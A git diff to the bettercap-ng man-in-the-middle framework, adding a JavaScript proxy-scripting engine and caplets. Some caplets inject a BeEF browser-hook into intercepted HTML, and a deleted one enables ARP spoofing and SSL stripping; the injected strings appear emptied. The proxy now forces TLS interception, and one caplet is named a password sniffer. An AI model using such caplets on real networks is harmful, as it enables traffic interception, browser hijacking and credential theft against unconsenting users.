diff --git a/Makefile b/Makefile
index e77abc45..61854303 100644
--- a/Makefile
+++ b/Makefile
@@ -33,6 +33,7 @@ deps:
@go get github.com/rogpeppe/go-charset/charset
@go get github.com/chzyer/readline
@go get github.com/op/go-logging
+ @go get github.com/robertkrimen/otto
clean:
diff --git a/caplets/beef-inject.js b/caplets/beef-inject.js
new file mode 100644
index 00000000..43f393fd
--- /dev/null
+++ b/caplets/beef-inject.js
@@ -0,0 +1,9 @@
+function onLoad() {
+ console.log( "BeefInject loaded." );
+}
+
+function onResponse(req, res) {
+ if( res.ContentType.indexOf("text/html") == 0 ){
+ res.Body = res.ReadBody().replace( "", '' );
+ }
+}
diff --git a/caplets/beef-passive.cap b/caplets/beef-passive.cap
new file mode 100644
index 00000000..ff961942
--- /dev/null
+++ b/caplets/beef-passive.cap
@@ -0,0 +1,15 @@
+# inject beef hook
+set http.proxy.script caplets/beef-inject.js
+# keep reading arp table for network mapping
+net.recon on
+# redirect http traffic to a proxy
+http.proxy on
+# wait for everything to start properly
+sleep 1
+active
+
+
+
+
+
+
diff --git a/caplets/beef_active.cap b/caplets/beef_active.cap
deleted file mode 100644
index b0510dc5..00000000
--- a/caplets/beef_active.cap
+++ /dev/null
@@ -1,21 +0,0 @@
-# spoof everyone as they're discovered
-# set arp.spoof.targets 192.168.1.0/24
-# strip down https links when possible
-set http.proxy.sslstrip true
-# inject beef hook
-set http.proxy.post.filter |||
-
-# keep searching for new targets
-# net.probe on
-
-# keep reading arp table for network mapping
-net.recon on
-# redirect http traffic to a proxy
-http.proxy on
-sleep 5
-# start arp spoofing attack
-arp.spoof on
-
-
-
-
diff --git a/caplets/beef_passive.cap b/caplets/beef_passive.cap
deleted file mode 100644
index 5c60ad5a..00000000
--- a/caplets/beef_passive.cap
+++ /dev/null
@@ -1,19 +0,0 @@
-# strip down https links when possible
-set http.proxy.sslstrip true
-# inject beef hook
-set http.proxy.post.filter |||
-#
-# keep reading arp table for network mapping
-net.recon on
-# redirect http traffic to a proxy
-http.proxy on
-
-# wait for everything to start properly
-sleep 1
-active
-
-
-
-
-
-
diff --git a/caplets/proxy-script-test.cap b/caplets/proxy-script-test.cap
new file mode 100644
index 00000000..e3fcccf3
--- /dev/null
+++ b/caplets/proxy-script-test.cap
@@ -0,0 +1,2 @@
+set http.proxy.script caplets/proxy-script-test.js
+http.proxy on
diff --git a/caplets/proxy-script-test.js b/caplets/proxy-script-test.js
new file mode 100644
index 00000000..f8173d04
--- /dev/null
+++ b/caplets/proxy-script-test.js
@@ -0,0 +1,42 @@
+// called when script is loaded
+function onLoad() {
+ console.log( "PROXY SCRIPT LOADED" );
+}
+
+// called before a request is proxied
+function onRequest(req, res) {
+ if( req.Path == "/test-page" ){
+ res.Status = 200;
+ res.ContentType = "text/html";
+ res.Headers = "Server: bettercap-ng\r\n" +
+ "Connection: close";
+ res.Body = "" +
+ "
" +
+ "Test Page" +
+ "" +
+ "" +
+ "Hello world from bettercap-ng!
" +
+ "" +
+ "";
+
+ res.Updated();
+ }
+}
+
+// called after a request is proxied and there's a response
+function onResponse(req, res) {
+ if( res.Status == 404 ){
+ res.ContentType = "text/html";
+ res.Headers = "Server: bettercap-ng\r\n" +
+ "Connection: close";
+ res.Body = "" +
+ "" +
+ "Test 404 Page" +
+ "" +
+ "" +
+ "Custom 404 from bettercap-ng.
" +
+ "" +
+ "";
+ res.Updated();
+ }
+}
diff --git a/caplets/active_recon.cap b/caplets/recon-active.cap
similarity index 100%
rename from caplets/active_recon.cap
rename to caplets/recon-active.cap
diff --git a/caplets/passive_recon.cap b/caplets/recon-passive.cap
similarity index 100%
rename from caplets/passive_recon.cap
rename to caplets/recon-passive.cap
diff --git a/caplets/spoof_n_sniff_passwords.cap b/caplets/simple-passwords-sniffer.cap
similarity index 100%
rename from caplets/spoof_n_sniff_passwords.cap
rename to caplets/simple-passwords-sniffer.cap
diff --git a/session/modules/http_proxy.go b/session/modules/http_proxy.go
index a1f58eae..9c4eccf0 100644
--- a/session/modules/http_proxy.go
+++ b/session/modules/http_proxy.go
@@ -2,13 +2,12 @@ package session_modules
import (
"fmt"
- "github.com/op/go-logging"
"net/http"
- "regexp"
"strings"
+ "github.com/op/go-logging"
+
"github.com/elazarl/goproxy"
- "github.com/elazarl/goproxy/ext/html"
"github.com/evilsocket/bettercap-ng/firewall"
"github.com/evilsocket/bettercap-ng/session"
@@ -16,62 +15,6 @@ import (
var log = logging.MustGetLogger("mitm")
-type ProxyFilter struct {
- Type string
- Expression string
- Replace string
- Compiled *regexp.Regexp
-}
-
-func tokenize(s string, sep byte, n int) (error, []string) {
- filtered := make([]string, 0)
- tokens := strings.Split(s, string(sep))
-
- for _, t := range tokens {
- if t != "" {
- filtered = append(filtered, t)
- }
- }
-
- if len(filtered) != n {
- return fmt.Errorf("Could not split '%s' by '%s'.", s, string(sep)), filtered
- } else {
- return nil, filtered
- }
-}
-
-func NewProxyFilter(type_, expression string) (error, *ProxyFilter) {
- err, tokens := tokenize(expression, expression[0], 2)
- if err != nil {
- return err, nil
- }
-
- filter := &ProxyFilter{
- Type: type_,
- Expression: tokens[0],
- Replace: tokens[1],
- Compiled: nil,
- }
-
- if filter.Compiled, err = regexp.Compile(filter.Expression); err != nil {
- return err, nil
- }
-
- return nil, filter
-}
-
-func (f *ProxyFilter) Process(req *http.Request, responseBody string) string {
- orig := responseBody
- filtered := f.Compiled.ReplaceAllString(orig, f.Replace)
-
- // TODO: this sucks
- if orig != filtered {
- log.Infof("%s > Applied %s-filtering to %d of response body.", req.RemoteAddr, f.Type, len(filtered))
- }
-
- return filtered
-}
-
type HttpProxy struct {
session.SessionModule
@@ -79,26 +22,22 @@ type HttpProxy struct {
redirection *firewall.Redirection
server http.Server
proxy *goproxy.ProxyHttpServer
-
- preFilter *ProxyFilter
- postFilter *ProxyFilter
+ script *ProxyScript
}
func NewHttpProxy(s *session.Session) *HttpProxy {
p := &HttpProxy{
SessionModule: session.NewSessionModule(s),
- proxy: goproxy.NewProxyHttpServer(),
+ proxy: nil,
address: "",
redirection: nil,
- preFilter: nil,
- postFilter: nil,
+ script: nil,
}
p.AddParam(session.NewIntParameter("http.port", "80", "", "HTTP port to redirect when the proxy is activated."))
p.AddParam(session.NewIntParameter("http.proxy.port", "8080", "", "Port to bind the HTTP proxy to."))
p.AddParam(session.NewStringParameter("http.proxy.address", "", `^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`, "Address to bind the HTTP proxy to."))
- p.AddParam(session.NewStringParameter("http.proxy.post.filter", "", "", "SED like syntax to replace things in the response ( example ||| )."))
-
+ p.AddParam(session.NewStringParameter("http.proxy.script", "", "", "Path of a proxy JS script."))
p.AddHandler(session.NewModuleHandler("http.proxy on", "",
"Start HTTP proxy.",
func(args []string) error {
@@ -111,25 +50,41 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
return p.Stop()
}))
- p.proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
+ proxy := goproxy.NewProxyHttpServer()
+
+ proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
if p.doProxy(req) == true {
req.URL.Scheme = "http"
req.URL.Host = req.Host
-
- // TODO: p.preFilter.Process?
-
p.proxy.ServeHTTP(w, req)
- } else {
- log.Infof("Skipping %s\n", req.Host)
}
})
- p.proxy.OnResponse(goproxy_html.IsHtml).Do(goproxy_html.HandleString(func(body string, ctx *goproxy.ProxyCtx) string {
- if p.postFilter != nil {
- body = p.postFilter.Process(ctx.Req, body)
+ proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
+ proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
+ if p.script != nil {
+ jsres := p.script.OnRequest(req)
+ if jsres != nil {
+ log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), req.RemoteAddr)
+ resp := jsres.ToResponse(req)
+ return req, resp
+ }
}
- return body
- }))
+ return req, nil
+ })
+
+ proxy.OnResponse().DoFunc(func(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
+ if p.script != nil {
+ jsres := p.script.OnResponse(res)
+ if jsres != nil {
+ log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), res.Request.RemoteAddr)
+ res = jsres.ToResponse(res.Request)
+ }
+ }
+ return res
+ })
+
+ p.proxy = proxy
return p
}
@@ -183,16 +138,15 @@ func (p *HttpProxy) Start() error {
http_port = v.(int)
}
- p.postFilter = nil
- if err, v := p.Param("http.proxy.post.filter").Get(p.Session); err != nil {
+ if err, v := p.Param("http.proxy.script").Get(p.Session); err != nil {
return err
} else {
- expression := v.(string)
- if expression != "" {
- if err, p.postFilter = NewProxyFilter("post", expression); err != nil {
+ scriptPath := v.(string)
+ if scriptPath != "" {
+ if err, p.script = LoadProxyScript(scriptPath); err != nil {
return err
} else {
- log.Debug("Proxy POST filter set to '%s'.", expression)
+ log.Debugf("Proxy script %s loaded.", scriptPath)
}
}
}
diff --git a/session/modules/proxy_script.go b/session/modules/proxy_script.go
new file mode 100644
index 00000000..e8e95704
--- /dev/null
+++ b/session/modules/proxy_script.go
@@ -0,0 +1,238 @@
+package session_modules
+
+import (
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "strings"
+ "sync"
+
+ "github.com/elazarl/goproxy"
+
+ "github.com/robertkrimen/otto"
+)
+
+type ProxyScript struct {
+ Path string
+ Source string
+ VM *otto.Otto
+ gil *sync.Mutex
+}
+
+type JSHeader struct {
+ Name string
+ Value string
+}
+
+type JSRequest struct {
+ Method string
+ Version string
+ Path string
+ Hostname string
+ Headers []JSHeader
+ Body string
+}
+
+type JSResponse struct {
+ Status int
+ ContentType string
+ Headers string
+ Body string
+
+ wasUpdated bool
+ resp *http.Response
+}
+
+func (j *JSResponse) Updated() {
+ j.wasUpdated = true
+}
+
+func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
+ resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body)
+ if j.Headers != "" {
+ for _, header := range strings.Split(j.Headers, "\n") {
+ header = strings.Trim(header, "\n\r\t ")
+ if header == "" {
+ continue
+ }
+ parts := strings.SplitN(header, ":", 2)
+ if len(parts) == 2 {
+ resp.Header.Add(parts[0], parts[1])
+ } else {
+ log.Warningf("Unexpected header '%s'", header)
+ }
+ }
+ }
+ return
+}
+
+func (j *JSResponse) ReadBody() string {
+ defer j.resp.Body.Close()
+
+ raw, err := ioutil.ReadAll(j.resp.Body)
+ if err != nil {
+ log.Errorf("Could not read response body: %s", err)
+ return ""
+ }
+
+ j.Body = string(raw)
+ j.Updated()
+
+ return j.Body
+}
+
+func (jsr JSRequest) ReadBody() string {
+ return "TODO: read body"
+}
+
+func LoadProxyScript(path string) (err error, s *ProxyScript) {
+ log.Infof("Loading proxy script %s ...", path)
+
+ raw, err := ioutil.ReadFile(path)
+ if err != nil {
+ return
+ }
+
+ s = &ProxyScript{
+ Path: path,
+ Source: string(raw),
+ VM: otto.New(),
+ gil: &sync.Mutex{},
+ }
+
+ _, err = s.VM.Run(s.Source)
+ if err == nil {
+ cb, err := s.VM.Get("onLoad")
+ if err == nil && cb.IsFunction() {
+ _, err = s.VM.Run("onLoad()")
+ if err != nil {
+ log.Errorf("Error while executing onLoad callback: %s", err)
+ return err, nil
+ }
+ }
+ }
+
+ return
+}
+
+func (s ProxyScript) reqToJS(req *http.Request) JSRequest {
+ headers := make([]JSHeader, 0)
+ for key, values := range req.Header {
+ for _, value := range values {
+ headers = append(headers, JSHeader{key, value})
+ }
+ }
+
+ return JSRequest{
+ Method: req.Method,
+ Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor),
+ Path: req.URL.Path,
+ Hostname: req.Host,
+ Headers: headers,
+ }
+}
+
+func (s ProxyScript) resToJS(res *http.Response) *JSResponse {
+ cType := ""
+ headers := ""
+
+ for name, values := range res.Header {
+ for _, value := range values {
+ if name == "Content-Type" {
+ cType = value
+ }
+ headers += name + ": " + value + "\r\n"
+ }
+ }
+
+ return &JSResponse{
+ Status: res.StatusCode,
+ ContentType: cType,
+ Headers: headers,
+ resp: res,
+ }
+}
+
+func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse) {
+ jsreq := s.reqToJS(req)
+ if err = s.VM.Set("req", jsreq); err != nil {
+ log.Errorf("Error while defining request: %s", err)
+ return
+ }
+
+ jsres = &JSResponse{}
+ if err = s.VM.Set("res", jsres); err != nil {
+ log.Errorf("Error while defining response: %s", err)
+ return
+ }
+
+ return
+}
+
+func (s *ProxyScript) doDefinesFor(res *http.Response) (err error, jsres *JSResponse) {
+ jsreq := s.reqToJS(res.Request)
+ if err = s.VM.Set("req", jsreq); err != nil {
+ log.Errorf("Error while defining request: %s", err)
+ return
+ }
+
+ jsres = s.resToJS(res)
+ if err = s.VM.Set("res", jsres); err != nil {
+ log.Errorf("Error while defining response: %s", err)
+ return
+ }
+
+ return
+}
+
+func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
+ cb, err := s.VM.Get("onRequest")
+ if err == nil && cb.IsFunction() {
+ s.gil.Lock()
+ defer s.gil.Unlock()
+
+ err, jsres := s.doDefines(req)
+ if err != nil {
+ log.Errorf("Error while running bootstrap definitions: %s", err)
+ return nil
+ }
+
+ _, err = s.VM.Run("onRequest(req, res)")
+ if err != nil {
+ log.Errorf("Error while executing onRequest callback: %s", err)
+ return nil
+ }
+
+ if jsres.wasUpdated == true {
+ return jsres
+ }
+ }
+
+ return nil
+}
+
+func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
+ cb, err := s.VM.Get("onResponse")
+ if err == nil && cb.IsFunction() {
+ s.gil.Lock()
+ defer s.gil.Unlock()
+
+ err, jsres := s.doDefinesFor(res)
+ if err != nil {
+ log.Errorf("Error while running bootstrap definitions: %s", err)
+ return nil
+ }
+
+ _, err = s.VM.Run("onResponse(req, res)")
+ if err != nil {
+ log.Errorf("Error while executing onRequest callback: %s", err)
+ return nil
+ }
+
+ if jsres.wasUpdated == true {
+ return jsres
+ }
+ }
+
+ return nil
+}